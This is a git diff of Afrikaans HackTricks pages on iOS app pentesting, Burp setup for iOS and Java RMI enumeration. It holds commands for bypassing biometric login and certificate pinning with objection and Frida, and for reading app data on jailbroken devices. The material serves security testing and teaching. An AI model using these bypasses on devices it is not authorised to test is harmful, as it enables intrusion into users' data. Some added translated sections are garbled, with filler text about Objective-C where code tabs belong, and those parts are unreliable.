iOS-toepassing om kwessies te identifiseer. -- Skep 'n aangepaste toepassing met Theos om sekuriteitsprobleme te demonstreer. -### Aanbevole toetse -- Voer 'n pentest uit op 'n eie ontwikkelde iOS-toepassing om jou vaardighede te toets. -- Neem deel aan 'n CTF (Capture The Flag) wat fokus op iOS-toepassingsveiligheid. -- Deelname aan 'n bug bounty-program wat iOS-toepassings insluit. +{% tab title="Objective-C" %} +### Afrikaans Translation +Die iOS-toepassings is dikwels geskryf in Objective-C, 'n programmeertaal wat deur Apple ontwikkel is. Dit is belangrik om vertroud te raak met die sintaks en funksionaliteit van Objective-C as jy iOS-toepassings wil pentest. Hier is 'n paar belangrike punte om in gedagte te hou: + +- **Objekgeoriënteerde programmering:** Objective-C is 'n objekgeoriënteerde programmeertaal, wat beteken dat dit gebruik maak van klasse en objekte om funksionaliteit te organiseer. +- **Dinamiese taal:** Objective-C is 'n dinamiese taal wat toelaat dat nuwe funksies by die uitvoeringstyd van die program toegevoeg kan word. +- **Berigte en uitskrifte:** Objective-C maak gebruik van `NSLog()`-funksie vir die uitskrif van inligting na die konsol. +- **Geheuebestuur:** Objective-C vereis handmatige geheuebestuur deur die ontwikkelaar, wat kan lei tot geheuelekke as dit nie korrek hanteer word nie. +- **Pointers:** Objective-C maak gebruik van aanwysers om na geheue-adresse te verwys, wat 'n belangrike konsep is om te verstaan vir pentesting. + +Dit is net 'n paar van die belangrike konsepte wat jy moet verstaan as jy iOS-toepassings wil pentest wat in Objective-C geskryf is. {% endtab %} ```objectivec // 1. create AccessControl object that will represent authentication settings @@ -888,10 +867,7 @@ if (status == noErr) { {% endtab %} {% endtabs %} -Nou kan ons die gestoorde item van die sleutelketting aanvra. Sleutelkettingdienste sal die verifikasie dialoog aan die gebruiker vertoon en data of nil teruggee, afhangende van of 'n geskikte vingerafdruk voorsien was of nie. - -{% tabs %} -{% tab title="Swift" %} +Nou kan ons die gestoorde item van die sleutelketting aanvra. Sleutelkettingdienste sal die verifikasie dialoog aan die gebruiker vertoon en data of nil teruggee, afhangende of 'n geskikte vingerafdruk voorsien was of nie. ```swift // 1. define query var query = [String: Any]() @@ -916,8 +892,11 @@ let password = String(data: queryResult as! Data, encoding: .utf8)! ``` {% endtab %} -{% tab title="Objective-C" %} -### Afrikaans Translation +{% tab title="Objective-C" %} +### Doel van Objective-C + +Objective-C is 'n objekgeoriënteerde programmeertaal wat gebruik word vir die ontwikkeling van iOS-toepassings. Dit is die primêre programmeertaal vir die ontwikkeling van iOS-toepassings en is gebaseer op die C-programmeertaal met toevoegings vir objekgeoriënteerde funksionaliteit. +{% endtab %} ```objectivec // 1. define query NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword, @@ -940,7 +919,7 @@ NSLog(@"Something went wrong"); ``` ### Opmerking -Die gebruik van raamwerke in 'n toep kan ook opgespoor word deur die lys van gedeelde dinamiese biblioteke van die toep se binêre lêer te analiseer. Dit kan gedoen word deur `otool` te gebruik: +Die gebruik van raamwerke in 'n toep kan ook opgespoor word deur die lys van gedeelde dinamiese biblioteek van die toep se binêre lêer te analiseer. Dit kan gedoen word deur `otool` te gebruik: ```bash $ otool -L .app/ ``` @@ -957,7 +936,7 @@ Indien `Security.framework` gebruik word, sal slegs die tweede een vertoon word. Deur die **Beswaar Biometriese Omgang**, geleë op [hierdie GitHub-bladsy](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), is 'n tegniek beskikbaar om die **LocalAuthentication** meganisme te omseil. Die kern van hierdie benadering behels die benutting van **Frida** om die `evaluatePolicy`-funksie te manipuleer, wat verseker dat dit konsekwent 'n `True` uitkoms lewer, ongeag die werklike verifikasiesukses. Dit is veral nuttig vir die omseil van gebrekkige biometriese verifikasieprosesse. -Om hierdie omseiling te aktiveer, word die volgende bevel gebruik: +Om hierdie omgang te aktiveer, word die volgende bevel gebruik: ```bash ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass (agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable @@ -970,7 +949,7 @@ Hierdie bevel stel 'n reeks in waar Objection 'n taak registreer wat die uitkoms #### Frida -'n Voorbeeld van die gebruik van **`evaluatePolicy`** vanaf [DVIA-v2 aansoek](https://github.com/prateek147/DVIA-v2): +'n Voorbeeld van die gebruik van **`evaluatePolicy`** vanaf die [DVIA-v2-toepassing](https://github.com/prateek147/DVIA-v2): ```swift +(void)authenticateWithTouchID { LAContext *myContext = [[LAContext alloc] init]; @@ -1081,21 +1060,21 @@ Om hierdie soort kwessies te toets, kan jy 'n proksi soos **Burp** gebruik: ### Naam van bediener kontroleer -Een algemene probleem met die validering van die TLS-sertifikaat is om te kontroleer of die sertifikaat deur 'n **vertroude** **CA** onderteken is, maar **nie** te kontroleer of **die naam van die bediener** van die sertifikaat die naam van die toegangspunt is nie.\ -Om hierdie probleem met Burp te toets, nadat jy die Burp CA op die iPhone vertrou het, kan jy **'n nuwe sertifikaat met Burp vir 'n ander naam van die bediener skep** en dit gebruik. As die aansoek steeds werk, dan is iets kwesbaar. +Een algemene probleem met die validering van die TLS-sertifikaat is om te kontroleer of die sertifikaat deur 'n **vertroude** **CA** onderteken is, maar **nie te kontroleer** of **die naam van die bediener** van die sertifikaat die toegangsgastheer se naam is nie.\ +Om hierdie probleem met Burp te toets, nadat jy Burp CA in die iPhone vertrou het, kan jy **'n nuwe sertifikaat met Burp vir 'n ander toegangsgastheer skep** en dit gebruik. As die aansoek steeds werk, dan is iets kwesbaar. ### Sertifikaat Pinning As 'n aansoek SSL Pinning korrek gebruik, sal die aansoek net werk as die sertifikaat die verwagte een is. Wanneer jy 'n aansoek toets **kan dit 'n probleem wees omdat Burp sy eie sertifikaat sal dien.**\ Om hierdie beskerming binne 'n jailbroken-toestel te omseil, kan jy die aansoek installeer [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) of installeer [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) -Jy kan ook gebruik **objection's** `ios sslpinning disable` +Jy kan ook **objection se** `ios sslpinning disable` gebruik ## Verskeie * In **`/System/Library`** kan jy die raamwerke vind wat in die foon geïnstalleer is en deur stelseltoepassings gebruik word -* Die aansoeke wat deur die gebruiker van die App Store geïnstalleer is, word binne **`/User/Applications`** gevind -* En die **`/User/Library`** bevat data wat deur die gebruiker-vlak aansoeke gestoor is +* Die toepassings wat deur die gebruiker van die App Store geïnstalleer is, word binne **`/User/Applications`** gevind +* En die **`/User/Library`** bevat data wat deur die gebruiker-vlaktoepassings gestoor is * Jy kan toegang kry tot **`/User/Library/Notes/notes.sqlite`** om die notas wat binne die aansoek gestoor is, te lees. * Binne die vouer van 'n geïnstalleerde aansoek (**`/User/Applications//`**) kan jy 'n paar interessante lêers vind: * **`iTunesArtwork`**: Die ikoon wat deur die aansoek gebruik word @@ -1104,17 +1083,17 @@ Jy kan ook gebruik **objection's** `ios sslpinning disable` ### Warm Patching/Verpligte Opdatering -Die ontwikkelaars kan afstandbeheer **alle installasies van hul aansoek onmiddellik patch** sonder om die aansoek na die App Store te herindien en te wag tot dit goedgekeur word.\ -Vir hierdie doel word dit gewoonlik gebruik [**JSPatch**](https://github.com/bang590/JSPatch)**.** Maar daar is ook ander opsies soos [Siren](https://github.com/ArtSabintsev/Siren) en [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\ -**Dit is 'n gevaarlike meganisme wat misbruik kan word deur bose derdeparty-SDK's, daarom word dit aanbeveel om te kontroleer watter metode gebruik word vir outomatiese opdatering (indien enige) en dit te toets.** Jy kan 'n vorige weergawe van die aansoek aflaai vir hierdie doel. +Die ontwikkelaars kan afstandsbeheer **alle installasies van hul aansoek onmiddellik aanpas** sonder om die aansoek na die App Store te herindien en te wag tot dit goedgekeur word.\ +Vir hierdie doel word gewoonlik [**JSPatch**](https://github.com/bang590/JSPatch)** gebruik.** Maar daar is ook ander opsies soos [Siren](https://github.com/ArtSabintsev/Siren) en [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\ +**Dit is 'n gevaarlike meganisme wat misbruik kan word deur skadelike derdeparty-SDK's, daarom word aanbeveel om te toets watter metode gebruik word vir outomatiese opdatering (indien enige) en dit te toets.** Jy kan 'n vorige weergawe van die aansoek aflaai vir hierdie doel. ### Derde Party -'n Beduidende uitdaging met **3de party-SDK's** is die **gebrek aan fynbeheer oor hul funksionaliteite**. Ontwikkelaars staar 'n keuse in die gesig: of integreer die SDK en aanvaar al sy funksies, insluitend potensiële sekuriteitskwessies en privaatheidskwessies, of verwerp dit heeltemal. Dikwels is ontwikkelaars nie in staat om kwessies binne hierdie SDK's self te herstel nie. Verder, soos SDK's vertroue in die gemeenskap verwerf, mag sommige dalk malware bevat. +'n Beduidende uitdaging met **3de party-SDK's** is die **gebrek aan fynbeheer oor hul funksionaliteite.** Ontwikkelaars staar 'n keuse in die gesig: of integreer die SDK en aanvaar al sy funksies, insluitende potensiële sekuriteitskwessies en privaatheidskwessies, of verwerp dit heeltemal. Dikwels is ontwikkelaars nie in staat om kwessies binne hierdie SDK's self te herstel nie. Verder, soos SDK's vertroue wen binne die gemeenskap, mag sommige dalk malware bevat. -Die dienste wat deur derde-party-SDK's verskaf word, mag gebruikersgedragsopsporing, advertensieweergawes of gebruikerservaringsverbeterings insluit. Dit bring egter 'n risiko mee aangesien ontwikkelaars dalk nie ten volle bewus is van die kode wat deur hierdie biblioteke uitgevoer word nie, wat kan lei tot potensiële privaatheids- en sekuriteitsrisiko's. Dit is noodsaaklik om die inligting wat met derde-party dienste gedeel word, te beperk tot wat nodig is en te verseker dat geen sensitiewe data blootgestel word nie. +Die dienste wat deur derdeparty-SDK's verskaf word, mag gebruikersgedragopsporing, advertensieweergawes of gebruikerservaringsverbeterings insluit. Dit bring egter 'n risiko mee aangesien ontwikkelaars dalk nie ten volle bewus is van die kode wat deur hierdie biblioteke uitgevoer word nie, wat kan lei tot potensiële privaatheids- en sekuriteitsrisiko's. Dit is noodsaaklik om die inligting wat met derdepartydiensverskaffers gedeel word, te beperk tot wat nodig is en te verseker dat geen sensitiewe data blootgestel word nie. -Die implementering van derde-party dienste kom gewoonlik in twee vorms voor: 'n selfstandige biblioteek of 'n volledige SDK. Om gebruikersprivaatheid te beskerm, moet enige data wat met hierdie dienste gedeel word, **geanonimiseer** word om die bekendmaking van Persoonlik Identifiseerbare Inligting (PII) te voorkom. +Die implementering van derdepartydiens kom gewoonlik in twee vorms voor: 'n selfstandige biblioteek of 'n volledige SDK. Om gebruikersprivaatheid te beskerm, moet enige data wat met hierdie dienste gedeel word, **geanonimiseer** word om die bekendmaking van Persoonlik Identifiseerbare Inligting (PII) te voorkom. Om die biblioteke wat 'n aansoek gebruik, te identifiseer, kan die **`otool`**-bevel gebruik word. Hierdie instrument moet teen die aansoek en elke gedeelde biblioteek wat dit gebruik, uitgevoer word om addisionele biblioteke te ontdek. ```bash @@ -1151,21 +1130,21 @@ otool -L
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ Kry Vandag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
-Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: -* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md index e7afbca94..b6d7aca42 100644 --- a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md +++ b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md @@ -2,13 +2,13 @@
-Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. @@ -17,12 +17,12 @@ Ander maniere om HackTricks te ondersteun:
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomaties** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ -Kry Vandaag Toegang: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) om maklik te bou en **outomatiseer werkafvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Kry Vandag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %} -## Installeer die Burp-sertifikaat op iOS-toestelle +## Die Installasie van die Burp-sertifikaat op iOS-toestelle Vir veilige webverkeeranalise en SSL-pinning op iOS-toestelle kan die Burp Suite gebruik word deur die **Burp Mobile Assistant** of deur middel van handmatige konfigurasie. Hieronder is 'n opgesomde gids oor beide metodes: @@ -36,7 +36,7 @@ Die **Burp Mobile Assistant** vereenvoudig die installasieproses van die Burp-se 2. **Sertifikaat aflaai:** Navigeer na `http://burp` op jou toestel se blaaier om die sertifikaat af te laai. 3. **Sertifikaatinstallasie:** Installeer die afgelaaide profiel via **Instellings** > **Algemeen** > **VPN & Toestelbestuur**, aktiveer dan vertroue vir die PortSwigger CA onder **Sertifikaatvertrouensinstellings**. -### Konfigureer 'n Onderskeppingproksi +### Konfigurering van 'n Onderskeppingproksi Die opstelling maak verkeeranalise tussen die iOS-toestel en die internet deur Burp moontlik, wat 'n Wi-Fi-netwerk vereis wat kliënt-tot-kliënt-verkeer ondersteun. Indien nie beskikbaar nie, kan 'n USB-verbinding via usbmuxd as 'n alternatief dien. PortSwigger se tutoriale bied in-diepte instruksies oor [toestelkonfigurasie](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) en [sertifikaatinstallasie](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device). @@ -44,7 +44,7 @@ Die opstelling maak verkeeranalise tussen die iOS-toestel en die internet deur B Vir gebruikers met gehackte toestelle bied SSH oor USB (via **iproxy**) 'n metode om verkeer direk deur Burp te roeteer: -1. **Stel SSH-verbinding in:** Gebruik iproxy om SSH na localhost deur te stuur, wat verbinding vanaf die iOS-toestel na die rekenaar wat Burp hardloop, moontlik maak. +1. **Stel SSH-verbinding in:** Gebruik iproxy om SSH na localhost deur te stuur, wat verbinding van die iOS-toestel na die rekenaar wat Burp hardloop, moontlik maak. ```bash iproxy 2222 22 @@ -58,7 +58,7 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222 ### Volledige Netwerkmonitoring/Sniffing -Die monitering van nie-HTTP-toestelverkeer kan effektief uitgevoer word met **Wireshark**, 'n hulpmiddel wat in staat is om alle vorme van dataverkeer vas te vang. Vir iOS-toestelle word die monitering van werklike verkeer gefasiliteer deur die skep van 'n Afgeleë Virtuele Koppelvlak, 'n proses wat in detail beskryf word in [hierdie Stack Overflow-pos](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Voor aanvang moet **Wireshark** op 'n macOS-stelsel geïnstalleer word. +Die monitering van nie-HTTP-toestelverkeer kan effektief uitgevoer word met **Wireshark**, 'n hulpmiddel wat in staat is om alle vorme van dataverkeer vas te vang. Vir iOS-toestelle word die monitering van werklike verkeer fasiliteer deur die skep van 'n Verre Virtuele Koppelvlak, 'n proses wat in detail beskryf word in [hierdie Stack Overflow-pos](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Voor aanvang moet die installasie van **Wireshark** op 'n macOS-stelsel voltooi wees. Die prosedure behels verskeie sleutelstappe: @@ -69,7 +69,7 @@ $ rvictl -s Starting device [SUCCEEDED] with interface rvi0 ``` 3. Na identifikasie van die UDID, moet **Wireshark** geopen word, en die "rvi0" koppelvlak gekies word vir data-opname. -4. Vir geteikende monitering, soos die vasvang van HTTP-verkeer wat verband hou met 'n spesifieke IP-adres, kan Wireshark se Vastvangfilters gebruik word: +4. Vir geteikende monitering, soos die vaslegging van HTTP-verkeer wat verband hou met 'n spesifieke IP-adres, kan Wireshark se Vangsfilters gebruik word: ## Burp Sertifikaatinstallasie in Simulator @@ -96,7 +96,7 @@ In _Proxy_ --> _Opsies_ --> _Voer CA-sertifikaat uit_ --> _Sertifikaat in DER-fo Stappe om Burp as proksi te konfigureer: * Gaan na _Sisteemvoorkeure_ --> _Netwerk_ --> _Gevorderd_ -* Op die _Proksi_ tab merk _Webproksi (HTTP)_ en _Veilige Webproksi (HTTPS)_ +* Merk in die _Proksi_ tabblad _Webproksi (HTTP)_ en _Veilige Webproksi (HTTPS)_ * Konfigureer in beide opsies _127.0.0.1:8080_ ![](<../../.gitbook/assets/image (431).png>) @@ -106,10 +106,10 @@ Stappe om Burp as proksi te konfigureer:
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ Kry Vandag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
@@ -117,9 +117,9 @@ Kry Vandag Toegang: Ander maniere om HackTricks te ondersteun: -* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks in PDF af** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) +* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. diff --git a/network-services-pentesting/1099-pentesting-java-rmi.md b/network-services-pentesting/1099-pentesting-java-rmi.md index 8e627703e..42d15542a 100644 --- a/network-services-pentesting/1099-pentesting-java-rmi.md +++ b/network-services-pentesting/1099-pentesting-java-rmi.md @@ -2,29 +2,29 @@
-Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Deel jou hakwerktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ -Kry Vandaag Toegang: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Kry Vandag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %} ## Basiese Inligting -_Java Remote Method Invocation_, of _Java RMI_, is 'n objekgeoriënteerde _RPC_ meganisme wat 'n objek wat in een _Java virtuele masjien_ geleë is, toelaat om metodes op 'n objek wat in 'n ander _Java virtuele masjien_ geleë is, te roep. Dit stel ontwikkelaars in staat om verspreide toepassings te skryf met behulp van 'n objekgeoriënteerde paradigma. 'n Kort inleiding tot _Java RMI_ vanuit 'n aanvallende perspektief kan gevind word in [hierdie blackhat praatjie](https://youtu.be/t\_aw1mDNhzI?t=202). +_Java Remote Method Invocation_, of _Java RMI_, is 'n objekgeoriënteerde _RPC_-meganisme wat 'n objek wat in een _Java virtuele masjien_ geleë is, toelaat om metodes op 'n objek wat in 'n ander _Java virtuele masjien_ geleë is, te roep. Dit stel ontwikkelaars in staat om verspreide toepassings te skryf met behulp van 'n objekgeoriënteerde paradigma. 'n Kort inleiding tot _Java RMI_ vanuit 'n aanvallende perspektief kan gevind word in [hierdie blackhat-aanbieding](https://youtu.be/t\_aw1mDNhzI?t=202). **Verstekpoort:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` @@ -47,7 +47,7 @@ Om dit eenvoudig te stel, maak _Java RMI_ dit vir 'n ontwikkelaar moontlik om 'n Die eerste uitdaging word opgelos deur die _RMI-register_, wat basies 'n benamingdiens vir _Java RMI_ is. Die _RMI-register_ self is ook 'n _RMI-diens_, maar die geïmplementeerde koppelvlak en die `ObjID` is vas en bekend by alle _RMI_ kliënte. Dit maak dit vir _RMI_ kliënte moontlik om die _RMI-register_ te verbruik deur net die ooreenstemmende _TCP_ poort te ken. -Wanneer ontwikkelaars hul _Java objekte_ binne die netwerk beskikbaar wil maak, bind hulle dit gewoonlik aan 'n _RMI-register_. Die _register_ stoor alle inligting wat nodig is om met die objek te koppel (IP-adres, luisterpoort, geïmplementeerde klas of koppelvlak en die `ObjID`-waarde) en maak dit beskikbaar onder 'n menslike leesbare naam (die _gebonde naam_). Kliënte wat die _RMI-diens_ wil verbruik, vra die _RMI-register_ vir die ooreenstemmende _gebonde naam_ en die register gee al die nodige inligting om te koppel terug. Dus, die situasie is basies dieselfde as met 'n gewone _DNS_ diens. Die volgende lys toon 'n klein voorbeeld: +Wanneer ontwikkelaars hul _Java objekte_ binne die netwerk beskikbaar wil maak, bind hulle dit gewoonlik aan 'n _RMI-register_. Die _register_ stoor alle inligting wat nodig is om met die objek te koppel (IP-adres, luisterpoort, geïmplementeerde klas of koppelvlak en die `ObjID`-waarde) en maak dit beskikbaar onder 'n mensleesbare naam (die _gebonde naam_). Kliënte wat die _RMI-diens_ wil verbruik, vra die _RMI-register_ vir die ooreenstemmende _gebonde naam_ en die register gee al die nodige inligting om te koppel terug. Dus, die situasie is basies dieselfde as met 'n gewone _DNS_ diens. Die volgende lys toon 'n klein voorbeeld: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; @@ -79,7 +79,7 @@ Saam met die verouderde _Aktiveringsisteem_ is hierdie die drie verstekkomponent 2. Die _Aktiveringsisteem_ (`ObjID = 1`) 3. Die _Verspreide Vullisverwyderaar_ (`ObjID = 2`) -Die verstekkomponente van _Java RMI_ is al 'n geruime tyd bekende aanvalsvectors en verskeie kwesbaarhede bestaan in verouderde _Java_-weergawes. Vanuit 'n aanvaller-perspektief is hierdie verstekkomponente interessant, omdat hulle bekende klasse / koppelvlakke geïmplementeer het en dit maklik is om met hulle te interaksieer. Hierdie situasie is anders vir aangepaste _RMI-dienste_. Om 'n metode op 'n _afgeleë voorwerp_ te roep, moet jy die ooreenstemmende metodesignatuur op voorhand ken. Sonder om 'n bestaande metodesignatuur te ken, is daar geen manier om met 'n _RMI-diens_ te kommunikeer nie. +Die verstekkomponente van _Java RMI_ is al 'n geruime tyd bekende aanvalsvectors en daar bestaan meerdere kwesbaarhede in verouderde _Java_-weergawes. Vanuit 'n aanvaller-perspektief is hierdie verstekkomponente interessant, omdat hulle bekende klasse / koppelvlakke geïmplementeer het en dit maklik is om met hulle te interaksieer. Hierdie situasie is anders vir aangepaste _RMI-dienste_. Om 'n metode op 'n _afgeleë voorwerp_ te roep, moet jy die ooreenstemmende metodesignatuur op voorhand ken. Sonder om 'n bestaande metodesignatuur te ken, is daar geen manier om met 'n _RMI-diens_ te kommunikeer nie. ## RMI Enumerasie @@ -145,7 +145,7 @@ $ rmg enum 172.17.0.2 9010 ``` Die uitset van die enumerasie-aksie word meer in detail verduidelik in die [dokumentasiebladsye](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) van die projek. Afhangende van die uitkoms, moet jy probeer om geïdentifiseerde kwesbaarhede te verifieer. -Die `ObjID`-waardes wat deur _remote-method-guesser_ vertoon word, kan gebruik word om die bedryfstyd van die diens te bepaal. Dit mag help om ander kwesbaarhede te 